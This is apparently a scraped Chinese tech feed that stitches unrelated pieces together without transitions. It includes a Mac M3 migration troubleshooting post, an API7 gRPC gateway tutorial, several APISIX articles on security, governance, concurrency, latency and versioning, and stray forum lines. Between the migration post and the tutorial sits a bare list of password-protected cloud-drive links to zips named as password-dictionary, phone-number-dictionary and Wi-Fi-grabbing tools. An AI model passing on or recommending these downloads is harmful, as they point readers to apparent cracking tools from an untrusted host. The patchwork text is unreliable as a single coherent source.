文件又回来了。</p> <p><strong>这里每天分享一个 iOS 的新知识，快来关注我吧</strong></p> <blockquote> <p>本文同步自微信公众号 “<a href="https://mp.weixin.qq.com/s?__biz=Mzg3MDk3NzUzNw==&amp;mid=2247485810&amp;idx=1&amp;sn=51fcdd122873f0953c487870bfcd882c&amp;chksm=ce84d01cf9f3590a70733ed4562154c6a6cb75cfa25b77317124e012ecbfc2df5a1bc752e40b&amp;token=252917264&amp;lang=en_US#rd">iOS新知</a>”，每天准时分享一个新知识，这里只是同步，想要及时学到就来关注我吧！</p> </blockquote>

<h2>前言</h2> <p>最近 Intel 芯片通过迁移助理迁移到 Apple M3 芯片后，发现了一系列的兼容问题，本篇文章主要记录了遇到了哪些问题以及对应的解决方案，希望能帮助到JYM。</p> <img src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/0234767a696742a28be9bc12cabbdc7a~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=216&amp;h=224&amp;s=36690&amp;e=png&amp;b=686a74" alt="image.png" width="30%" referrerpolicy="no-referrer"> <h2>1.Fix for ‘Bad CPU type in executable’ Error</h2> <h4>现象</h4> <p>终端报错 Error 或 应用闪退: <code>Fix for ‘Bad CPU type in executable’</code></p> <h4>原因</h4> <p>您尝试运行的应用程序不是为 Apple 制造的芯片（Apple Silicon）构建的。</p> <h4>报错场景</h4> <ul> <li>从 Intel 迁移到 Apple Silicon</li> <li>尝试安装非 64 位的程序或其某些库仍为 32 位（从 macOS Catalina 开始，Mac 不再支持 32 位程序）</li> </ul> <blockquote> <p>下面的问题的报错场景类似不再赘述</p> </blockquote> <h4>解决方案</h4> <h5>安装 Rosetta 2</h5> <blockquote> <p>Rosetta 2，是苹果公司为了帮助用户在苹果从 Intel 处理器向自家设计的 Apple Silicon（基于 ARM 架构的 M1/M2/M3 芯片）过渡期间运行旧的 x86 应用程序，允许用户在搭载 Apple Silicon 的 Mac 上无缝运行为 Intel 处理器设计的应用程序</p> </blockquote> <p><strong>安装方法1：通过GUI</strong></p> <p>第一次尝试运行不兼容的程序（例如 VSCode IDE）时系统会自动提示您安装 Rosetta 2。</p> <p>现在，只需单击“安装”即可开始。</p> <p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/57ea8deec88745b4a2bef674e5f335c0~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=960&amp;h=466&amp;s=160429&amp;e=png&amp;b=f6f6f6" alt="image.png" referrerpolicy="no-referrer"></p> <p><strong>安装方法2：终端</strong></p> <p>终端不会自动检测到 Rosetta 丢失（例如 输入npm/node命令时）。相反，它会给您错误<code>Bad CPU type in executable</code></p> <p>我们只需要在终端运行如下命令：</p> <pre><code class="language-shell">/usr/sbin/softwareupdate -install-rosetta -agree-to-license </code></pre> <p>然后等待安装即可</p> <h2>2.xcrun: error: invalid active developer path</h2> <h5>现象</h5> <p>使用 git 报错，信息如下： <code>invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun</code></p> <h5>原因</h5> <p>macOS 系统更新之后，特别是当你尝试使用命令行工具（如 git、make 等）时。这个错误表明 Xcode Command Line Tools 的路径不再有效，这可能是因为系统更新后，这些工具没有被正确安装或者需要重新安装</p> <blockquote> <p>Xcode Command Line Tools 包含了 macOS 用户在终端中使用开发者命令所需的工具和编译器，如 gcc、git、svn、make 等</p> </blockquote> <h5>解决方案</h5> <p>安装 Xcode Command Line Tools，终端输入如下命令即可：</p> <pre><code>xcode-select --install </code></pre> <p>回车后会出现以下交互页面：</p> <p><img src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/80b9cb697df748ca8fb18b59a4a84f59~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=720&amp;h=280&amp;s=54386&amp;e=png&amp;b=303130" alt="image.png" referrerpolicy="no-referrer"></p> <p>点击安装即可</p> <h2>3.git push报错（连接服务器错误）</h2> <h5>现象</h5> <p>终端输入 <code>git push upstream production</code> 后报错如下： <code>Unable to negotiate with xxx.92.126.xx port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss fatal: Could not read from remote repository</code></p> <blockquote> <p>在尝试通过SSH协议（默认端口22）连接到远程Git仓库时，本地SSH客户端无法识别远程服务器提供的主机密钥类型。</p> </blockquote> <h5>原因</h5> <p>这通常是因为SSH客户端的配置不接受远程服务器提供的密钥类型，特别是如果你的SSH客户端较新，而服务器使用的是较旧或不再被认为安全的密钥类型（如ssh-dss）</p> <h5>解决方案</h5> <pre><code>git config core.sshCommand "ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa" </code></pre> <p>这条命令会将SSH命令配置为全局Git配置的一部分，它会在每次Git需要使用SSH时应用这些选项</p> <p>如果你只想对特定的仓库应用这个设置，可以去掉 <code>--global</code> 标志，并在仓库的根目录下运行上述命令。</p> <h2>4.微信小程序打不开</h2> <p>发现部分小程序在电脑端打开白屏，社区官方给出的回复如下：</p> <p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/61202c6e6d4245b583030c36e9293a2b~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=1612&amp;h=1174&amp;s=192532&amp;e=png&amp;b=fefefe" alt="image.png" referrerpolicy="no-referrer"></p> <h2>5.无法扩展2个及以上显示器</h2> <p>这个官方目前只有 M3 Pro 及以上版本才支持扩展多个显示器，M3 只能外接一台显示器，目前还没有发现解决方案，如果JYM有方案欢迎留言～</p> <blockquote> <p>看到JY的评论了，发现了一个评测比较全的文章：<a href="https://xujiwei.com/blog/2021/07/m1-displaylink-testing/">DisplayLink 解决方案1</a><br> <a href="https://sspai.com/post/67574">DisplayLink 解决方案2</a></p> </blockquote> <blockquote> <p>如果有外接多个显示器的强需求的JY注意这一点！！！</p> </blockquote>

<p>cmd版本.zip: http://yun.imgmo.com/f/22427376-995396116-7ad098?p=9976 (访问密码: 9976)</p> <p>gui版本.zip: http://yun.imgmo.com/f/22427376-995396125-7bdb7b?p=9976 (访问密码: 9976)</p> <p>超级字典生成器.zip: http://yun.imgmo.com/f/22427376-995396419-d2c04c?p=9976 (访问密码: 9976)</p> <p>获取wifi.zip: http://yun.imgmo.com/f/22427376-995396314-cc9a92?p=9976 (访问密码: 9976)</p> <p>密码生成.zip: http://yun.imgmo.com/f/22427376-995396299-84574a?p=9976 (访问密码: 9976)</p> <p>全国手机号码字典生成器.zip: http://yun.imgmo.com/f/22427376-995396287-1ad01a?p=9976 (访问密码: 9976)</p>

<p>在当今快速发展的技术领域中，<a href="https://zh.wikipedia.org/wiki/GRPC">gRPC（Google Remote Procedure Call）</a>已经成为许多应用程序中不可或缺的一部分。然而，要充分发挥 gRPC 的潜力，你需要一个强大的 API 网关来有效管理你的 gRPC 服务，为其提供协议转换、负载均衡、身份认证和授权等关键功能。无论你是否熟悉 gRPC，只需花 5 分钟阅读本文，你将掌握使用 <a href="https://www.apiseven.com/enterprise">API7 企业版</a>网关代理 gRPC 连接的方法。</p> <p><img src="https://static.apiseven.com/uploads/2024/01/02/ITu9xgjT_img_v3_026n_141d4850-e004-495e-95a0-66a004458e9g.jpg" alt="API7 Enterprise and gRPC" referrerpolicy="no-referrer"></p> <h2>前置条件</h2> <ol> <li> <p>安装 <a href="https://api7.ai/try?product=enterprise">API7 企业版</a>网关；</p> </li> <li> <p>安装 <a href="https://github.com/fullstorydev/grpcurl#installation">grpcurl</a> 模拟 gRPC 客户端与您的 gRPC 服务器交互；</p> </li> <li> <p>启动一个测试使用的 gRPC 服务；</p> <ul> <li><a href="https://www.apiseven.com/">支流科技</a>提供了一个 <a href="https://github.com/api7/grpc_server_example">gRPC 服务示例</a> 来帮助你进行测试，你也可以通过 docker 命令来运行它：</li> </ul> <pre><code>docker run -d --name grpc-service -p 50051:50051 --restart always api7/grpc-server-example:1.0.0 </code></pre> <ul> <li>启动成功后，可以用 <code>grpcurl</code> 来查看可用的 gRPC 服务列表和方法：</li> </ul> <pre><code>$ grpcurl -plaintext 127.0.0.1:50051 list grpc.reflection.v1alpha.ServerReflection helloworld.Greeter helloworld.TestImport $ grpcurl -plaintext 127.0.0.1:50051 list helloworld.Greeter helloworld.Greeter.GetErrResp helloworld.Greeter.Plus helloworld.Greeter.SayHello helloworld.Greeter.SayHelloAfterDelay helloworld.Greeter.SayHelloBidirectionalStream helloworld.Greeter.SayHelloClientStream helloworld.Greeter.SayHelloServerStream </code></pre> </li> </ol> <h2>使用 API7 企业版网关代理 gRPC 连接</h2> <h3>更新网关实例配置文件</h3> <p>默认情况下，API7 企业版网关实例只在 9443 端口支持 TLS 加密的 HTTP/2。通常我们在测试环境中为了便于测试，可以修改网关实例的配置文件，在 <code>node_listen</code> 添加一个端口 9081 支持不加密的 HTTP/2。</p> <pre><code>apisix: node_listen: - port: 9080 enable_http2: false - port: 9081 enable_http2: true </code></pre> <p>更改完毕后，在安装 API7 企业版网关的 <code>api7-ee</code> 目录下重新运行 <code>docker-compose up -d</code> 即可。</p> <h3>配置服务和路由</h3> <p>接下来，我们将在 API7 企业版的控制台页面中配置对应的资源，以代理我们已经准备好的 gRPC 服务。</p> <ol> <li>新增名为 grpc-example 的服务，并选择 gRPC 为上游 Scheme；</li> </ol> <p><img src="https://static.apiseven.com/uploads/2024/01/02/Iw7CEI5a_grpc-2.png" alt="Use API7 to proxy grpc-1" referrerpolicy="no-referrer"></p> <ol start="2"> <li>点击进入刚创建的 grpc-example 服务，添加路由。路由的路径匹配格式为 /{service}/{method}，例如根据我们之前查询到的 gRPC 服务列表和方法，我们可以配置路径为：/helloworld.Greeter/SayHello。</li> </ol> <p><img src="https://static.apiseven.com/uploads/2024/01/02/SMBLTGMy_grpc-3.png" alt="Use API7 to proxy grpc-2" referrerpolicy="no-referrer"></p> <h3>发布服务进行测试</h3> <p>在创建好服务和路由之后，只需将服务发布到网关组中即可生效。</p> <ol> <li> <p>点击“发布服务”，选择指定的网关组及要发布的服务；</p> </li> <li> <p>添加 gRPC 服务节点（IP +端口），然后点击“发布”；</p> </li> <li> <p>发布成功后我们使用 grpcurl 来模拟 gRPC 客户端：</p> <ul> <li>我们需要使用一份 helloworld.proto 的文件，确保 grpcurl 程序正确将请求和响应的格式与 gRPC 服务的定义相匹配。我们可以在<a href="https://github.com/api7/grpc_server_example/blob/master/proto/helloworld.proto">这里</a>找到本示例中用到的 .proto 文件。</li> <li>接着我们只需要运行命令，即可看到我们使用 API7 企业版网关成功代理 gRPC 连接。</li> </ul> <pre><code>$ grpcurl -plaintext -proto helloworld.proto -d '{"name":"apisix"}' 127.0.0.1:9081 helloworld.Greeter.SayHello { "message": "Hello apisix" } </code></pre> </li> </ol> <h2>总结</h2> <p>API7 企业网关内置了 100+ 插件，涵盖了认证、授权、限速、日志、监控等<a href="https://www.apiseven.com/products/api7/features">广泛功能</a>。通过使用 API7 企业版网关代理 gRPC 服务，将极大提高系统的灵活性、安全性、性能和可管理性，为开发人员和运维团队提供了更好的工具和控制手段。快来试用 <a href="https://www.apiseven.com/enterprise">API7 企业版</a>https://www.apiseven.com/enterprise网关，为你的 gRPC 应用赋能吧！</p>

<p>在 2023 年，ChatGPT 和大型语言模型成为最引人注目的技术。在这一 AI 浪潮中，许多应用迎来了 AI 的黄金时代，涵盖了从生成视频、生成动画到借助 GitHub 的 Copilot 完成基础代码编写等多个领域。因此，如今许多应用都积极增添 AI 功能。然而，在这场热潮中，一个不容忽视的问题催生而出：安全问题。</p> <p>除了传统的外部应用防火墙、DDoS 攻击防护等手段，对于 AI 应用而言，我们需要在保护其安全的同时，着重考虑以下六个方面，而这些方面主要在 API 网关层面得以实施，提供了全方位的保护。</p> <ol> <li> <p>身份认证</p> <p>我们必须验证用户的身份是否合法，以确定其是否可以调用 AI 的 API。通常，我们会采用像 <a href="https://apisix.apache.org/zh/docs/apisix/plugins/jwt-auth/">JWT</a>、<a href="https://apisix.apache.org/zh/docs/apisix/plugins/key-auth/">Key Auth</a> 等身份认证方式来验证用户的身份是否合法。</p> </li> </ol> <p><img src="https://static.apiseven.com/uploads/2023/12/29/5QxjqN4G_img_v3_026j_4e055e4e-98b4-41a2-b369-79c08b871b3g.jpg" alt="identity-authentication" referrerpolicy="no-referrer"></p> <ol start="2"> <li> <p>灰度发布</p> <p>在引入新 API 时，我们可能只希望特定地区的一些用户能够体验到这个新 API。因此，我们需要运用 API 网关内的灰度发布机制，使一些用户能够体验到新功能。</p> </li> <li> <p>限流限速</p> <p>我们希望正常用户能够迅速得到响应，同时能够区分和限制一些恶意用户。最常见的方式之一是通过 IP 或令牌<a href="https://www.apiseven.com/resources/apache-con-asia-2021/Speed-Limiting-With-Apache-APISIX">对访问频率和速度进行限制</a>，从而一定程度上防止机器人攻击，使正常用户的体验更加顺畅。</p> </li> <li> <p>IP 的黑白名单</p> <p>在开发 AI 应用时，我们更希望其用户主要来自一些合法合规的地区，不希望所有地区的用户或一些可能带有恶意意图的用户访问我们的 API。因此，我们会建立一个 IP 的黑白名单，只有白名单内的用户可以访问我们的 API；而在黑名单内的 IP 则无法访问，以此进行 IP 的判断。</p> </li> <li> <p>数据主权</p> <p>由于在美国、欧洲等一些国家中，存在一些关于数据合规的法规，对于由 AI 应用生成的数据也同样适用。这包括用户的训练数据以及用户生成的数据。我们需要通过 API 网关判断，确定应该访问哪个服务器，数据最终存储在哪个地区，以保证数据的合规性。</p> </li> </ol> <p><img src="https://static.apiseven.com/uploads/2023/12/29/C9zJx5Uu_img_v3_026j_52dbc0f1-84a6-4073-a685-463a87bedb1g.jpg" alt="data sovereignty" referrerpolicy="no-referrer"></p> <ol start="6"> <li> <p>校验用户请求体和服务端响应体</p> <p>我们希望确保用户请求体和服务端响应体的校验。这种校验可以采用 OpenAPI 或 JSON Schema 进行，以确保用户请求按照我们定义的规范完成，而服务端的响应数据也是合规的，没有发生数据泄露等隐患。</p> </li> </ol> <p>在将应用真正部署上线时，这六个方面可能并不是唯一需要考虑的。可能需要通过类似于一些可观测性和更复杂的日志分析等手段来帮助您发现更多与安全相关的风险。</p>

<p>在数字化时代，内部系统的高效协作成为企业成功的关键。API（应用程序接口）作为实现内部系统互联的桥梁，对于促进内部协作和创新起着关键作用。然而，为了确保 API 在整个生命周期内的稳定性、安全性和高效性，有效的 API 资产治理显得尤为重要。以下是在内部系统之间使用 API 时的一些关键点和措施。</p> <h2>内部 API 资产治理的关键点</h2> <p><img src="https://static.apiseven.com/uploads/2023/12/29/etzds75k_API%20asset%20governance%203.png" alt="Key Points for Internal API Asset Governance" referrerpolicy="no-referrer"></p> <ol> <li>梳理盘点 API 调用关系和拓扑图</li> </ol> <p>进行 API 调用关系和拓扑图的梳理和盘点是必不可少的。通过绘制拓扑图，清晰了解各个系统和应用之间的 API 调用关系，有助于发现潜在的瓶颈和优化点，提升整体系统的效率。</p> <ol start="2"> <li>全生命周期管理</li> </ol> <p>基于 <a href="https://www.apiseven.com/blog/api7-gartner-2023">API 全生命周期</a>的长线视角来进行治理，定期评估内部 API 的业务价值和性能。根据需要决定是继续维护、优化，还是淘汰和替换。确保 API 在整个生命周期内都有有效的治理。</p> <ol start="3"> <li>标准化 API 设计</li> </ol> <p>在内部系统之间制定统一的 API 设计标准，确保数据格式的一致性、接口规范的统一性以及规范的命名约定。这种标准化有助于不同系统更加无缝地协同工作，降低了系统集成的复杂性。</p> <ol start="4"> <li>数据格式和一致性</li> </ol> <p>维护一致的数据格式，确保各个系统之间的数据交换是无缝的。采用标准的数据交换格式，如 JSON 或 XML，有助于提高数据一致性和可解释性。</p> <ol start="5"> <li>版本管理和迁移策略</li> </ol> <p>采用有效的、集中式<a href="https://www.apiseven.com/blog/api7-version-control">版本管理</a>策略，确保升级和回滚是可控的。平滑的版本升级对于内部系统之间的协同至关重要，并需要制定迁移计划，以确保旧版本的系统能够顺利迁移到新版本的 API。</p> <ol start="6"> <li>访问控制和安全性</li> </ol> <p>在内部系统之间实施适当的访问控制机制，确保只有授权的系统或团队可以访问和使用 API，并定期追踪授权情况，防止 API 滥用和敏感 API 信息越权。内部身份验证和授权方案也是提高安全性的关键。</p> <ol start="7"> <li>监控和性能优化</li> </ol> <p>设置监控机制，追踪内部 API 的使用情况、性能和异常。通过监控，及时发现并解决系统间通信的问题，确保 API 在高负载下保持稳定。</p> <ol start="8"> <li>文档和内部沟通</li> </ol> <p>提供详细易懂的内部 API 文档，包括用法、端点、数据格式等。促进内部团队之间的有效沟通，确保开发者了解 API 的功能和变更，从而更好地利用 API。</p> <h2>内部 API 治理的措施</h2> <p><img src="https://static.apiseven.com/uploads/2023/12/29/3SK09NDo_API%20asset%20governance%201.png" alt="measures of internal API governance" referrerpolicy="no-referrer"></p> <ol> <li>内部 API 委员会</li> </ol> <p>成立内部 API 委员会，由系统架构师、开发者和业务代表组成。该委员会负责审核和制定内部 API 设计标准、版本管理策略等。</p> <ol start="2"> <li>内部 API 门户</li> </ol> <p>设立内部 <a href="https://www.apiseven.com/blog/api7-portal-preview">API 门户</a>，支持查询 API 的调用拓扑、调用量、API 的性能等指标。API 门户应当同时集成监控、审计等必要的模块功能。同时为内部开发者提供内部 API 的文档、示例和更新记录，这有助于内部开发者更好地了解 API 的使用方式和最新变更。</p> <ol start="3"> <li>定期审查和更新</li> </ol> <p>定期审查内部 API 的设计和实现，确保其符合最佳实践。更新 API 文档，及时通知内部团队有关任何变更。</p> <ol start="4"> <li>内部培训</li> </ol> <p>为内部开发者提供培训，确保他们了解和遵循内部 API 治理策略。培训可包括新员工培训和定期更新。</p> <ol start="5"> <li>安全审计</li> </ol> <p>定期进行<a href="https://www.apiseven.com/blog/api7-soc2type1">安全审计</a>，确保内部 API 的访问仅限于授权的系统。检查是否有未经授权的访问或潜在的安全风险。</p> <p>通过这些关键点和措施，组织可以更好地进行内部系统之间的 API 资产治理，确保 API 在整个生命周期中能够发挥最大的价值，同时保持安全、可靠和合规。在内部 API 的有效治理下，内部协作与创新将迎来更加畅通的时代。</p>

<p>一个经常被提及的问题：APISIX 作为 API 网关经常需要同时处理大量并发请求，如果部分请求响应时间过长是否会明显增加 API 网关上其他正常请求的响应时间？APISIX 在这方面表现非常好，不会因为部分请求响应时间过长影响其他正常请求。但对于其他语言、软件架构的 API 网关产品，表现可能就比较糟糕了。</p> <p>不同的编程语言对并发的软件架构具有较强的绑定性。例如早期的编程语言，如 C 和 Fortran，主要用于单处理器系统，因此它们的并发支持非常弱。然而，随着多处理器和多线程环境的出现，新的编程语言，如 Java 和 Python，开始内置更强大的并发和并行处理功能。此外，如 Go 甚至在设计之初就考虑到了并发，因此它们的并发模型和语言特性紧密结合。编程语言的并发支持不仅反映了其诞生时代的技术环境，也反映了其预期的应用场景。</p> <p><img src="https://static.apiseven.com/uploads/2023/12/29/WlL3vGqI_coroutine&amp;thread2.jpg" alt="Coroutine and thread" referrerpolicy="no-referrer"></p> <p>假设有上千个并发请求，如果使用多线程、多进程架构（Java、Python 等语言），此时服务需要申请上千个线程或进程维护请求上下文。了解计算机编程的工程师知道，即使大部分线程空闲，操作系统维护上千个线程、进程也需要消耗硬件资源。但如果使用协程（APISIX、Golang 等），不会因为并发请求多进而申请更多线程、进程资源。</p> <p>协程和线程、进程都是多任务处理的方式，但它们之间存在一些关键的区别：</p> <ol> <li> <p><strong>调度方式</strong>：线程、进程的调度是由操作系统进行的，是抢占式的，即操作系统决定何时中断，切换到另一个线程、进程运行。而协程的调度是由程序员或者编程语言的库进行的，是协作式的，即协程需要显式地交出控制权，才会切换到其他协程。</p> </li> <li> <p><strong>开销</strong>：线程、进程是操作系统级别的，创建、切换和销毁线程都需要更多的资源，因此开销较大。而协程是在用户态下执行的，创建、切换和销毁协程的开销相对较小。</p> </li> <li> <p><strong>数据共享和同步</strong>：线程、进程间的数据共享需要使用复杂的同步操作，如互斥锁、读写锁、信号量等，以防止数据竞态。而协程由于是在同一线程中，可以直接共享全局变量，不需要进行复杂的同步操作。</p> </li> </ol> <p><img src="https://static.apiseven.com/uploads/2023/12/29/RiPQS6dr_img_v3_026j_b72b53d2-55dd-48fe-ad08-2ffb2d11b3cg.jpg" alt="Connection among coroutine, thread and process" referrerpolicy="no-referrer"></p> <p>在 APISIX 世界的慢请求，都仅仅是在等待上游的响应，这种等待仅仅是监听网络事件，它不会产生额外系统资源开销。最后总结：<strong>APISIX 不会因为某些请求响应慢从而影响其他正常请求响应时间</strong>。</p>

<p>我一般都用这个，https://1024code.tools ， 但是离线的APP有推荐的吗？</p>

<p>如题。感觉Ant design和iview有点古板……</p>

<p>用户经常问到一个问题，即如何准确测量 <a href="https://apisix.apache.org/zh/blog/2023/03/06/the-mystery-of-prometheus-plugins-and-long-tail-requests/">APISIX 的延迟</a>。当使用 APISIX 时，如果发现延迟异常高，应该怎么处理呢？</p> <p>实际上，在讨论测量延迟时，我们实际上是关注 API 请求的性能和响应时间。了解这些方面对确保高效的 API 服务非常重要，尤其是在 B2B 软件中，因为客户对 API 的可用性和性能要求很高。在一些敏感的场景中，比如股票交易市场中的交易软件，延迟会对交易者产生巨大的影响。</p> <p>那么，什么是延迟？在 APISIX 中，延迟又指什么呢？让我们首先明确一下它的含义。这里的延迟实际上指的是 API 请求从客户端发送到接收响应的整个过程所花费的时间。这个延迟可以由多个因素构成，包括客户端网络延迟、APISIX 内部处理时间以及与上游服务的交互延迟。</p> <p><img src="https://static.apiseven.com/uploads/2023/12/26/4Dz6bdX5_latency-1.png" alt="latency" referrerpolicy="no-referrer"></p> <p>为了更好地理解和测量这些延迟，我们可以将其分为几个关键的部分。</p> <ul> <li> <p>第一个部分是指客户端到 APISIX 之间的网络延迟，即当一个请求从客户端发送到 APISIX 时，在此期间所耗费的时间。它会受到客户端和 APISIX 之间的距离、网络阻塞等因素的影响。我们可以通过一些专门的工具来测量耗时。</p> </li> <li> <p>第二个部分是指 APISIX 内部处理的时间。因为当请求到达 APISIX 内部时，它需要在 APISIX 中完成一系列的逻辑，同时 APISIX 有很多的插件，包括路由决策、认证授权、流量管理等自定义逻辑，这些操作执行的时间被称为 APISIX 的内部处理时间。</p> </li> <li> <p>第三个关键部分是与上游服务的交互延迟。如果 APISIX 需要与上游服务（通常是后端应用程序或一些微服务）进行通信，那么与上游服务的交互延迟也会被计入总延迟中，包括请求从 APISIX 发送到上游服务以及响应返回的时间。</p> </li> </ul> <p>那么如何测量 APISIX 的延迟呢？我们可以按照 <strong>“APISIX的延迟=总延迟-上游交互的延迟”</strong> 这个公式进行计算。其中，总延迟指的是从客户端发送请求到接收响应的整个耗时，而上游延迟指的是 APISIX 与上游服务，如后端应用程序进行通信的耗时。根据这个公式，我们就能计算出 APISIX 的延迟，并判断到底是不是因为 APISIX 产生了高延迟的问题。这有助于我们了解请求的性能和各个组成部分的耗时情况。</p> <p><img src="https://static.apiseven.com/uploads/2023/12/26/ovv4uzIc_latency-2.png" alt="what is APISIX latency" referrerpolicy="no-referrer"></p> <p>具体的 APISIX 的延迟又可以进一步分为三类。</p> <ul> <li> <p>第一类指的是下游的延迟，其中包括了 APISIX 与客户端之间的网络传输延迟、读取请求体等操作的耗时。如果传输了一个很大的请求体，那么势必会增加延迟时间。通过监控和分析这个延迟，我们可以了解到客户端到 APISIX 之间的通信性能，并进行必要的优化。</p> </li> <li> <p>第二类指的是 NGINX 延迟，在 APISIX 中我们使用了 NGINX 来处理请求和路由，因此 NGINX 的内部运行时间也会影响总延迟。这可以通过专门的工具进行监测。</p> </li> <li> <p>第三类指的是 Lua 插件代码执行的延迟，因为 APISIX 有许多的 Lua 插件，每一个插件执行的时间也是一个重要的延迟因素。我们同样需要专门的工具进行分析。</p> </li> </ul> <p>那么如何解决这些延迟呢？通过刚才提到的一些延迟的情况，我们可以通过排除法逐一分析。</p> <p>如果是因为客户端网络延迟，我们就可以通过优化网络架构、使用 CDN 等方式来降低延迟；针对 APISIX 内置的 Lua 代码，如果运行耗时过长，那么我们就需要找出到底是哪一个插件的哪一部分代码引起了延迟；有关与上游服务交互相关的延迟，我们就需要检查与上游服务交互到底有多久，然后检查上游服务是不是有阻塞性代码或者是 APISIX 到上游服务之间的网络受到了影响。通过优化这些点，我们可以降低一定的延迟情况。</p> <p>最重要的是，持续监控和分析 APISIX 的延迟能够方便我们及时发现和解决潜在的问题。通过深入了解各个组成部分，可以更好地优化 API 的服务，提高可用性和响应性，更好地满足终端客户的需求。</p> <p>有关 QPS 和延迟，APISIX 和与其他网关产品的对比数据可阅读：<a href="https://www.apiseven.com/blog/why-is-apache-apisix-the-best-api-gateway">为什么 Apache APISIX 是最好的 API 网关？</a>。</p> <p><img src="https://static.apiseven.com/uploads/2023/12/26/hr1a4fCx_latency-3.png" alt="latency comparison of APISIX and Kong" referrerpolicy="no-referrer"></p>

<p>wish my H1B application can be approved.</p> <p>It is almost two month since the submission. It is a little bit long. It worrys me a little. Wish finally I can be approved. :pray: :pray: :pray: :pray:</p>

<p>this website is amazing.</p> <p>Wish it better.</p>

<p>在当今数字化时代，软件系统的迅猛发展使得 API 版本控制成为确保系统稳健演进的关键策略。特别是在多环境的场景下，有效管理和追踪 API 变更变得尤为重要，而 API7 企业版网关作为关键的中介层，发挥着至关重要的角色。</p> <p><img src="https://static.apiseven.com/uploads/2023/12/26/BNmKr56Z_%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B61.png" alt="what is version control" referrerpolicy="no-referrer"></p> <h2>API 版本控制的核心</h2> <p>API 版本控制是保障系统演进的关键机制，特别是在面临紧急情况时显得至关重要。版本控制需要具备快速、稳定、可控的回滚能力，确保系统在问题出现时能够迅速降级到之前稳定的状态。另一方面，版本升级需要平滑过渡，特别是在前后版本之间可能存在不兼容的部分时。通过对比前后版本的变化，系统能够精准地定位不兼容的地方，使升级过程更加可控和安全。</p> <p>为了更好地管理整个版本升级过程，同一个版本最好能够通过流水线控制的方式逐步从开发环境过渡到测试环境和最终生产环境。通过版本号的跟踪，可以清晰地了解版本在整个流程中的状态，确保每个阶段都经过了充分的测试和验证，从而提高升级的整体质量。</p> <p><img src="https://static.apiseven.com/uploads/2023/12/27/4KAOZ4EN_%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B64.png" alt="Functions of version control" referrerpolicy="no-referrer"></p> <h2>API7 企业版网关的角色</h2> <p>在这个版本控制的复杂舞台上，API7 企业版网关扮演了不可或缺的角色。通过其强大的网关组功能，实现了将不同环境的 API 请求引导到相应的网关组和版本。</p> <p>通过网关组的巧妙设计，API7 企业版网关确保了各个环境不同版本 API 的安全隔离，互不影响。这为开发、测试和生产环境之间的顺畅沟通提供了可靠的基础，保障了系统在不同阶段的稳定性。</p> <p>特别值得强调的是，API7 企业版网关借助网关组实现了稳定快速的 API 版本回滚。当系统面临紧急情况，需要快速降级到之前版本时，网关组的灵活管理使得回滚过程更加可控，为系统的快速修复提供了有力支持。</p> <p><img src="https://static.apiseven.com/uploads/2023/12/26/Wokqc1Ir_%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B63.png" alt="Version control by API7 Enterprise" referrerpolicy="no-referrer"></p> <h2>最佳实践：API 版本控制工作流程</h2> <ol> <li>为测试和生产环境添加两个网关组</li> </ol> <p>在测试环境和生产环境中分别建立独立的网关组，确保环境之间的隔离性。</p> <ol start="2"> <li>发布初版到测试网关组</li> </ol> <p>将 API 发布到测试网关组，服务版本为 1.0.0，以验证 API 在测试环境中的性能和稳定性。</p> <ol start="3"> <li>验证和测试</li> </ol> <p>在测试环境中验证 API，确保其在不同场景下的正常运行。若发现问题，及时更新服务模板中的 API 配置。</p> <ol start="4"> <li>发布修复版本到测试网关组</li> </ol> <p>向测试网关组发布修复版本 1.0.1，确保问题得到迅速修复。</p> <ol start="5"> <li>同步到生产网关组</li> </ol> <p>将修复版本同步到生产网关组，服务版本为 1.0.1。</p> <ol start="6"> <li>生产环境验证</li> </ol> <p>在生产环境中验证修复版本，确保其在真实场景下的正常运行。</p> <ol start="7"> <li>新增功能发布到测试网关组</li> </ol> <p>在新迭代中，编辑服务模板并将API发布到测试网关组，服务版本为 1.1.0。</p> <ol start="8"> <li>验证新功能</li> </ol> <p>在测试环境中验证新功能，确保其与现有系统的兼容性。</p> <ol start="9"> <li>应对紧急情况</li> </ol> <p>如果在测试环境验证新功能时发生紧急情况，迅速回滚版本到 1.0.1，以确保系统的稳定状态。</p> <ol start="10"> <li>恢复正常状态</li> </ol> <p>通过回滚操作，确保系统在短时间内恢复到修复版本 1.0.1 的稳定状态。</p> <p>这一顺序性的最佳实践流程，旨在确保系统在版本升级和回滚过程中保持稳定和可控。每个步骤的严密执行，都为系统的健康演进提供了有力支持。</p>

